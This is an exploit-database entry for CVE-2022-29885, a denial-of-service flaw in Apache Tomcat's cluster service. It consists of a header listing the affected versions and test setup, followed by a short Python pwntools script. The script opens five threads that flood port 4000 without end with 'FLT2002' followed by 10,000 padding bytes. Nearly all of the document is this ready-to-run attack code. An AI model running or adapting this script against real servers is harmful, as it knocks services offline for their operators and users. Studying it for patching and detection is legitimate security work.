Apache Tomcat 10.1 - Denial Of Service Exploit

# Exploit Title:  Apache Tomcat 10.1 - Denial Of Service
# Exploit Author: Cristian 'void' Giustini
# Vendor Homepage: https://tomcat.apache.org/
# Software Link: https://tomcat.apache.org/download-10.cgi
# Version: <= 10.1
# Tested on: Apache Tomcat 10.0 (Docker)
# CVE : CVE-2022-29885 (CVE Owner: 4ra1n)
# Exploit pre-requirements: pip install pwntools==4.8.0
# Analysis : https://voidzone.me/cve-2022-29885-apache-tomcat-cluster-service-dos/
 
 
 
 
 
#!/usr/bin/env python3
 
# coding: utf-8
 
from pwn import *
 
import time
 
import threading
 
import subprocess
 
threads = []
 
 
 
 
 
def send_payload():
 
    r = remote("localhost", 4000)
 
    while True:
 
        r.send(b"FLT2002" + b"A" * 10000)
 
 
 
for _ in range(5):
 
    new_thread = threading.Thread(target=send_payload)
 
    threads.append(new_thread)
 
    new_thread.start()
 
for old_thread in threads:
 
    old_thread.join()
 
#  0day.today [2023-04-16]  #